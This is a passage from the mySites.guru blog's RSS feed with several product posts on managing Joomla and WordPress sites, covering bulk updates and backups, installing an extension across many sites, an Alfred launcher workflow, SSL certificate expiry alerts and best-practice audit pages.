&lt;p&gt;&lt;img alt=&quot;WordPress plugin update list showing current versions in red and available versions in green&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;541&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.10.09-1024x541.CYmdE4cr_Z1ePx3B.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.10.09-1024x541.CYmdE4cr_QiUJn.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.10.09-1024x541.CYmdE4cr_a83UF.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.10.09-1024x541.CYmdE4cr_2JJpR.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.10.09-1024x541.CYmdE4cr_Z1ePx3B.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Pending updates in the sidebar&lt;/h2&gt;
&lt;p&gt;The left menu keeps a running count of extension updates, plugin updates, and core upgrades across all your sites. Quick way to see how much maintenance you’ve got piling up.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru sidebar showing counts for pending updates, extension upgrades, and core upgrades&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 348px) 348px, 100vw&quot; width=&quot;348&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.09-348x1024.BrI5I7C6_Z21k0Os.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.09-348x1024.BrI5I7C6_Z21k0Os.webp 348w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Keeping sites current&lt;/h2&gt;
&lt;p&gt;Between mass upgrades, per-extension auto-updates, and the per-site plugin view, there’s no reason for your sites to fall behind. Keeping everything current also reduces your exposure to &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;known plugin vulnerabilities&lt;/a&gt;. You can review the version upgrade path before committing and run post-upgrade cleanup like fluff file removal. For a full walkthrough focused on WordPress, see the guide to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk updating WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Back up before any upgrade&lt;/h3&gt;
&lt;p&gt;mySites.guru has &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;built-in support for Akeeba Backup and the All-In-One Migration Plugin&lt;/a&gt; (WordPress), so you can take a backup before applying updates - one site or all of them at once.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Keep in mind&lt;/p&gt;
  &lt;p&gt;Backing up all sites at once will put temporary load on your servers while the backups run.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru backup management page showing recent backups, schedules, and connection status for backup plugins&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;623&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.59-1024x623.DJllepdK_1WnGyl.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.59-1024x623.DJllepdK_Z1SxFRr.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.59-1024x623.DJllepdK_15IDIj.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.59-1024x623.DJllepdK_28watT.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.59-1024x623.DJllepdK_1WnGyl.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is part of our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing CMS updates at scale&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>updates</category><category>extensions</category><category>plugins</category><enclosure url="https://mysites.guru/img/og/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Install Extensions to 1000+ Sites at Once</title><link>https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/</guid><description>Install any Joomla extension or WordPress plugin across 1,000 sites in one go using the mySites.guru bulk install tool - no SSH or FTP needed.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you manage dozens or hundreds of Joomla and WordPress sites, installing the same extension one site at a time gets old fast. mySites.guru lets you &lt;strong&gt;push any plugin or extension to unlimited sites in a single action&lt;/strong&gt; - no SSH or FTP required.&lt;/p&gt;
&lt;p&gt;The Mass Package Installer in mySites.guru handles Joomla extensions, plugins, modules, templates, and &lt;a href=&quot;https://mysites.guru/&quot;&gt;WordPress plugins from one dashboard&lt;/a&gt;. You can push an update manually or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;upgrade across all your sites at once&lt;/a&gt;. When a browser update &lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;breaks the Joomla editor across every version&lt;/a&gt;, this is how you push the hotfix to hundreds of sites in minutes instead of hours.&lt;/p&gt;
&lt;p&gt;For a detailed walkthrough, see the dedicated &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass plugin installer guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Where do I find this tool?&lt;/h2&gt;
&lt;p&gt;Open the main tool finder in mySites.guru and search for “Mass Package Installer.”&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru tool finder showing the Mass Package Installer option&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;696&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.30.39-1024x696.Cgekcq8w_Zy7ESR.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.30.39-1024x696.Cgekcq8w_1ehVUH.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.30.39-1024x696.Cgekcq8w_Z1OPqUK.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.30.39-1024x696.Cgekcq8w_24EjyN.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.30.39-1024x696.Cgekcq8w_Zy7ESR.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Upload a zip file or provide a direct URL to a hosted zip file in step one:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Upload step showing zip file upload and URL input fields&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;670&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_myUNo.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_xUCuY.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_2c6re4.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_1TSP4z.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_myUNo.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then select one, two, or all of your connected Joomla and WordPress sites:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Site selection list with checkboxes for each connected site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;554&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_Z2vIwvJ.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_Z17Gmvq.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_Gp7NV.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_1NVs3U.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_Z2vIwvJ.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click “Install Extension On Selected Sites” and grab a coffee. mySites.guru queues a background job for each site and works through them while you do something else.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Installation progress showing queued jobs for each selected site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;220&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.42.07-1024x220.DXGVhOQc_205ers.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.42.07-1024x220.DXGVhOQc_Z1sK9r2.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.42.07-1024x220.DXGVhOQc_26XtCv.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.42.07-1024x220.DXGVhOQc_9x91j.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.42.07-1024x220.DXGVhOQc_205ers.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That’s it.&lt;/p&gt;
&lt;h3&gt;Bonus: filter sites by installed extension&lt;/h3&gt;
&lt;p&gt;Say you want to install the latest Akeeba Backup on every site that already has an older version. Use the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Extensions feature&lt;/a&gt; in mySites.guru to search for Akeeba:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Extensions search results showing sites with Akeeba Backup installed&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;514&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.43.53-1024x514.rHecTDw0_Z2aeipk.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.43.53-1024x514.rHecTDw0_2slVu6.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.43.53-1024x514.rHecTDw0_Zqf9LH.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.43.53-1024x514.rHecTDw0_tb01M.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.43.53-1024x514.rHecTDw0_Z2aeipk.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then click “filter by these” to jump to the Mass Package Installer with only those sites pre-selected:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Mass Package Installer with Akeeba sites pre-selected from the filter&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;241&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.44.55-1024x241.B15U-8Dd_1ru01D.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.44.55-1024x241.B15U-8Dd_2sVGos.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.44.55-1024x241.B15U-8Dd_d7dG6.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.44.55-1024x241.B15U-8Dd_jhcSb.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-28-at-06.44.55-1024x241.B15U-8Dd_1ru01D.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Want to see it in action?&lt;/h2&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wpbeginner.com/plugins/how-to-bulk-install-your-favorite-plugins-in-wordpress/&quot;&gt;How to Bulk Install Your Favorite Plugins in WordPress&lt;/a&gt; - WPBeginner’s guide to bulk installing plugins on a single WordPress site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/cli/commands/plugin/install/&quot;&gt;wp plugin install - WP-CLI Command&lt;/a&gt; - Official WP-CLI documentation for installing plugins via the command line&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Installing_an_extension&quot;&gt;Installing an Extension - Joomla! Documentation&lt;/a&gt; - Official Joomla guide to installing extensions on a single site&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>extensions</category><category>plugins</category><category>bulk actions</category><enclosure url="https://mysites.guru/img/og/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Integrate mySites.guru to Alfred Workflow on Mac</title><link>https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/</link><guid isPermaLink="true">https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/</guid><description>How to integrate mySites.guru with Alfred on macOS so you can jump straight to any connected site&apos;s management page from your keyboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/mySites.alfredworkflow&quot;&gt;install our Alfred Workflow&lt;/a&gt; to jump straight to any connected site’s management page from your keyboard.&lt;/p&gt;
&lt;h2&gt;What is Alfred?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.alfredapp.com&quot;&gt;Alfred&lt;/a&gt; is a macOS launcher that gives you fast access to apps, files, web searches, and custom actions via keyboard shortcuts. If you spend a lot of time at your Mac, it’s worth trying - the free version is useful on its own.&lt;/p&gt;
&lt;p&gt;I have mine mapped to CMD+SPACE.&lt;/p&gt;
&lt;h2&gt;What is an Alfred Workflow?&lt;/h2&gt;
&lt;p&gt;A workflow is essentially a plugin for Alfred - it adds custom commands and actions. You need the &lt;a href=&quot;https://www.alfredapp.com/powerpack/&quot;&gt;Alfred PowerPack&lt;/a&gt; to use workflows, which costs £34 (or £59 for a lifetime licence).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://youtu.be/qP0ORBgDHr8&quot;&gt;https://youtu.be/qP0ORBgDHr8&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;How to integrate mySites.guru with Alfred&lt;/h2&gt;
&lt;p&gt;With Alfred and the PowerPack installed, &lt;a href=&quot;https://manage.mysites.guru/mySites.alfredworkflow&quot;&gt;download the workflow&lt;/a&gt; and open it to add it to Alfred. Then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press your Alfred shortcut and type &lt;code&gt;my&lt;/code&gt; followed by a space&lt;/li&gt;
&lt;li&gt;You’ll see a list of mySites.guru menu items to choose from&lt;/li&gt;
&lt;li&gt;Select one and hit Enter - your browser opens that page&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do you connect your account for full site search?&lt;/h2&gt;
&lt;p&gt;You can also enable public pages in your mySites.guru account to get a token (a string like &lt;code&gt;smk4md33zf223efmg6y3bgbbo7mmeu63&lt;/code&gt; - that one’s fake).&lt;/p&gt;
&lt;p&gt;Do that on the &lt;a href=&quot;https://manage.mysites.guru/en/sites/screenshots&quot;&gt;Public Site Screenshots page&lt;/a&gt;, then edit the workflow in Alfred and paste your token where it says &lt;code&gt;ENTER_TOKEN_HERE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With the token configured, you can search your actual sites by name and jump straight to the Manage Site page. For a site called mySites.guru, it’s just:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;CMD+SPACE &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;my &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;SPACE &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;mys &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ENTER&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s it. The &lt;code&gt;mys&lt;/code&gt; filters the site list down to the right result.&lt;/p&gt;
&lt;p&gt;Prefer Raycast over Alfred? We built a &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/&quot;&gt;Raycast extension&lt;/a&gt; too.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Productivity integrations are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>alfred</category><category>mac</category><category>productivity</category><category>workflow</category><enclosure url="https://mysites.guru/img/og/blog/integrate-mysites-guru-to-alfred-workflow-on-mac.webp" length="0" type="image/webp"/></item><item><title>Track SSL Certificate Expirations Easily</title><link>https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/</guid><description>mySites.guru checks every site&apos;s SSL certificate issuer, expiry date and full chain validity on every snapshot, alerting you before they expire.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;mySites.guru has checked SSL certificates on every site snapshot &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;since 2012&lt;/a&gt;. It’s one of those features that runs in the background - you only notice it when something goes wrong and it catches the problem before your clients do.&lt;/p&gt;
&lt;p&gt;When we snapshot your Joomla or WordPress site as part of our &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt;, we download the active SSL certificate the same way a browser would. We check the SSL issuer, expiration date, and the full certificate validation chain to make sure all intermediate certificates are also valid.&lt;/p&gt;
&lt;p&gt;SSL has a lot going on under the hood. We check the ciphers in use and the minimum encryption level your server accepts. If your site allows insecure encryption methods, we’ll alert you by email.&lt;/p&gt;
&lt;p&gt;We also distinguish &lt;a href=&quot;https://cpanel.net&quot;&gt;cPanel&lt;/a&gt; and &lt;a href=&quot;https://letsencrypt.org&quot;&gt;Let’s Encrypt SSL Certificates&lt;/a&gt; as these are normally web host provided and auto-renewed without user intervention, these are shown with custom icons on your dashboard.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 774px) 774px, 100vw&quot; width=&quot;774&quot; height=&quot;356&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.52.24-1.fLxDsNwR_2cGFzP.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.52.24-1.fLxDsNwR_1tRP7v.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.52.24-1.fLxDsNwR_Z1RaVGE.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.52.24-1.fLxDsNwR_2cGFzP.webp 774w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Why are short expiration dates now standard?&lt;/h2&gt;
&lt;p&gt;Certificate lifetimes have been shrinking for years. What used to be a 2-5 year certificate is now often 90 days with Let’s Encrypt. Auto-renewal handles this most of the time, but when it fails, browsers block your site for visitors entirely.&lt;/p&gt;
&lt;p&gt;That’s why mySites.guru shows you an overview of all your SSL certificates sorted by expiration date.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;466&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.56.29-1024x466.CNJtVoz9_WPr6H.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.56.29-1024x466.CNJtVoz9_13e9JC.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.56.29-1024x466.CNJtVoz9_Zy1xeG.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.56.29-1024x466.CNJtVoz9_ZuNFnE.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.56.29-1024x466.CNJtVoz9_WPr6H.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On this screen you can also export the list to CSV file for further offline processing should you wish.&lt;/p&gt;
&lt;h2&gt;How do expiry alerts work?&lt;/h2&gt;
&lt;p&gt;By default, mySites.guru alerts you when a certificate gets within 2 days of expiry. For most sites with auto-renewal that threshold should never trigger - but it’s there as a safety net.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;211&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.58.47-1024x211.DxHDxUnY_ZKs5zS.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.58.47-1024x211.DxHDxUnY_E015B.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.58.47-1024x211.DxHDxUnY_Z29okL.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.58.47-1024x211.DxHDxUnY_ZzB5yl.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-08.58.47-1024x211.DxHDxUnY_ZKs5zS.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If your renewal process requires more lead time, you can configure how many days in advance you want the alert.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;447&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.00.34-1024x447.Bclvb3M6_yaInX.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.00.34-1024x447.Bclvb3M6_Z1Q6kVq.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.00.34-1024x447.Bclvb3M6_Xdpsx.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.00.34-1024x447.Bclvb3M6_Zqutp6.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.00.34-1024x447.Bclvb3M6_yaInX.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What about Qualys SSL Labs integration?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ssllabs.com/ssltest/index.html&quot;&gt;Qualys SSL Labs&lt;/a&gt; is the standard tool for testing SSL implementation in depth. mySites.guru links directly to it from the Learn More page in the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;SSL Snapshot tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;681&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.03.32-1024x681.BBpZwgHq_kp2mS.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.03.32-1024x681.BBpZwgHq_1PQLki.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.03.32-1024x681.BBpZwgHq_Z1T0wAz.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.03.32-1024x681.BBpZwgHq_1huw6O.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.03.32-1024x681.BBpZwgHq_kp2mS.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It gives you detailed technical information about your SSL configuration and your web server’s security posture.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 800px) 800px, 100vw&quot; width=&quot;800&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.04.02-800x1024.Zbfo4szQ_Z2tRFBA.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.04.02-800x1024.Zbfo4szQ_ZXhlxh.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.04.02-800x1024.Zbfo4szQ_15es7j.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-14-at-09.04.02-800x1024.Zbfo4szQ_Z2tRFBA.webp 800w&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;SSL tracking is covered in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>ssl</category><category>monitoring</category><category>security</category><category>alerts</category><enclosure url="https://mysites.guru/img/og/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Best Practice for Joomla &amp; WordPress Sites</title><link>https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/</guid><description>Every mySites.guru snapshot and audit check comes with a detailed Learn More page explaining the best practice recommendation, the risk and how to fix it.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every check in the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt; and Audit - well over 100 of them - has a “Learn More” page explaining what the check looks for, why it matters, and what to do about it.&lt;/p&gt;
&lt;p&gt;Not everyone will agree with every recommendation we make, and that’s fine. Each check exists for a reason, most of it based on years of involvement with the Joomla project (and more recently WordPress).&lt;/p&gt;
&lt;p&gt;Each “Learn More” page includes most of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our Recommendation&lt;/li&gt;
&lt;li&gt;How the audit checks this setting&lt;/li&gt;
&lt;li&gt;Background Information&lt;/li&gt;
&lt;li&gt;A tool to investigate, or an explanation of why no tool is available&lt;/li&gt;
&lt;li&gt;Further Reading&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;Get Expert Assistance&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To make this concrete, the rest of this post walks through one check: “Logs/tmp Folder Locations Should Exist At Default Locations” for Joomla sites.&lt;/p&gt;
&lt;p&gt;WordPress-specific checks include things like &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;admin bar logo removal&lt;/a&gt;, each with a one-click toggle. Joomla-specific checks work the same way - for example, the new &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-module-versioning/&quot;&gt;Enable Joomla 6.1 module versioning&lt;/a&gt; check flips &lt;code&gt;save_history&lt;/code&gt; on across every connected 6.1 site in a click.&lt;/p&gt;
&lt;p&gt;This check is in the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, and looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;119&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.37.32-1024x119.CgLenbpH_1gMbGs.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.37.32-1024x119.CgLenbpH_R3fai.webp 640w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.37.32-1024x119.CgLenbpH_Z2fRt3l.webp 750w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.37.32-1024x119.CgLenbpH_Z1Iznwe.webp 828w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.37.32-1024x119.CgLenbpH_1gMbGs.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can click on the Learn More link to get to that page.&lt;/p&gt;
&lt;h2&gt;The recommendation&lt;/h2&gt;
&lt;p&gt;This block states what we consider the correct best practice, with context explaining why.&lt;/p&gt;
